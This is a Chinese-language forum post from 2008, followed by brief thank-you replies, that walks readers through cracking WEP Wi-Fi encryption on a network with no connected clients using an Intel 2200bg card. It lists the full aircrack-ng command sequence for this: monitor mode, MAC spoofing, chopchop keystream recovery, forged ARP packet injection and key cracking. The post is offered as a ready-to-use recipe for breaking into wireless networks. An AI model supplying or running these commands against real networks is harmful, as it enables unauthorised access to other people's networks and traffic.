INTEL 2200bg实现注入式破解无客户端wep
<P><FONT face=黑体 size=4>我是个实用主义者。这段时间一直在研究如何用笔记本内置的INTEL 2200bg 无线网卡破解wep，10天前，实现有客户端注入式破解，经过一个星期的摸索，终于又实现无客户端wep破解。现与兄弟们共享之！需要说明的是，由于目前已经被广泛使用的bt3正式版对2200网卡支持不彻底，建议兄弟们回到bt3的试用版进行破解尝试，此文是在bt3的正式版未出之前编写。 说废话没用，还是看图说话比较现实。</FONT></P><P><BR><BR><BR><BR><BR></P>
<P><FONT size=4></FONT></P>
<P><FONT size=4>下面是所有的命令集<FONT face=楷体_GB2312 color=#ff0000>（顺便说一句，很多朋友很烦“回复后才能见到内容”，但我还是要设置，一是为了增加论坛人气，二是为了让更多的兄弟可以浏览，不至于很快下沉。话说回来，写帖子的人不厌其烦的一次又一次的试验、修改，一个字一个字的敲出来，看的兄弟，甚至连回复一下，都觉得烦，这样的情绪，是不是有点说不过去？^_^）</FONT></FONT></P>
<P><BR> </P>
<P><FONT size=5>airmon-ng start eth1（电脑不同，接口有可能未eth0，下同）<BR>modprobe ipw2200 rtap-iface=1<BR>iwconfig eth1 key s:fakekey<BR>iwconfig eth1 mode managed<BR>ifconfig eth1 up hw ether 00:11:22:33:44:55<BR>airodump-ng --ivs -w 1 -c 6 eth1</FONT></P>
<P><FONT size=5>aireplay-ng -4 -e AP的essid -a AP的mac -h 001122334455 -i rtap0 eth1 <BR>packetforge-ng -0 -a AP的mac -h 001122334455 -k 255.255.255.255 -l 255.255.255.255 -y replay_dec-*.xor -w rap </FONT></P>
<P><FONT size=5>其中，replay_dec-*.xor为你得到的xor文件的全称，可用ls命令查看，然后拷贝、粘贴过来，－w后面跟的tqp是文件名，可以随便选取。<BR>aireplay-ng -2 -r rap eth1 （这个命令里的rap必须和上条命令里的rap一样）<BR>aircrack-ng -n 64 *.ivs (*.ivs可以通过ls命令查看，也可以直接输入*.ivs，此时，程序将分析你root文件夹里存储的所有ivs文件）</FONT></P>
<P align=right><FONT color=#000066>[此贴子已经被作者于2008-6-16 14:37:22编辑过]</FONT></P>[<I> 本帖最后由 liyg 于 2008-10-16 11:34 编辑 </I>] 嗯，<font face="Verdana" color="#61b713"><b>liyg</b></font>的帖子是一定要顶的，虽然我用2200没成功。 ddddddddddddddddddd 看看学习先!看看学习先!看看学习先!看看学习先! <p>爽阿，终于等到了，谢谢liyg的无私</p> dingingddd 多学习哦，现在都还是没有搞懂 <p>我要看看看看看的</p><p>我要看看看看看的</p> <p>写的不错,希望继续发扬.</p> <p>顶~~~~~~~~~~</p><p>太好了，要的就是这</p> <p>哈哈。那我顶你了饿</p><p></p>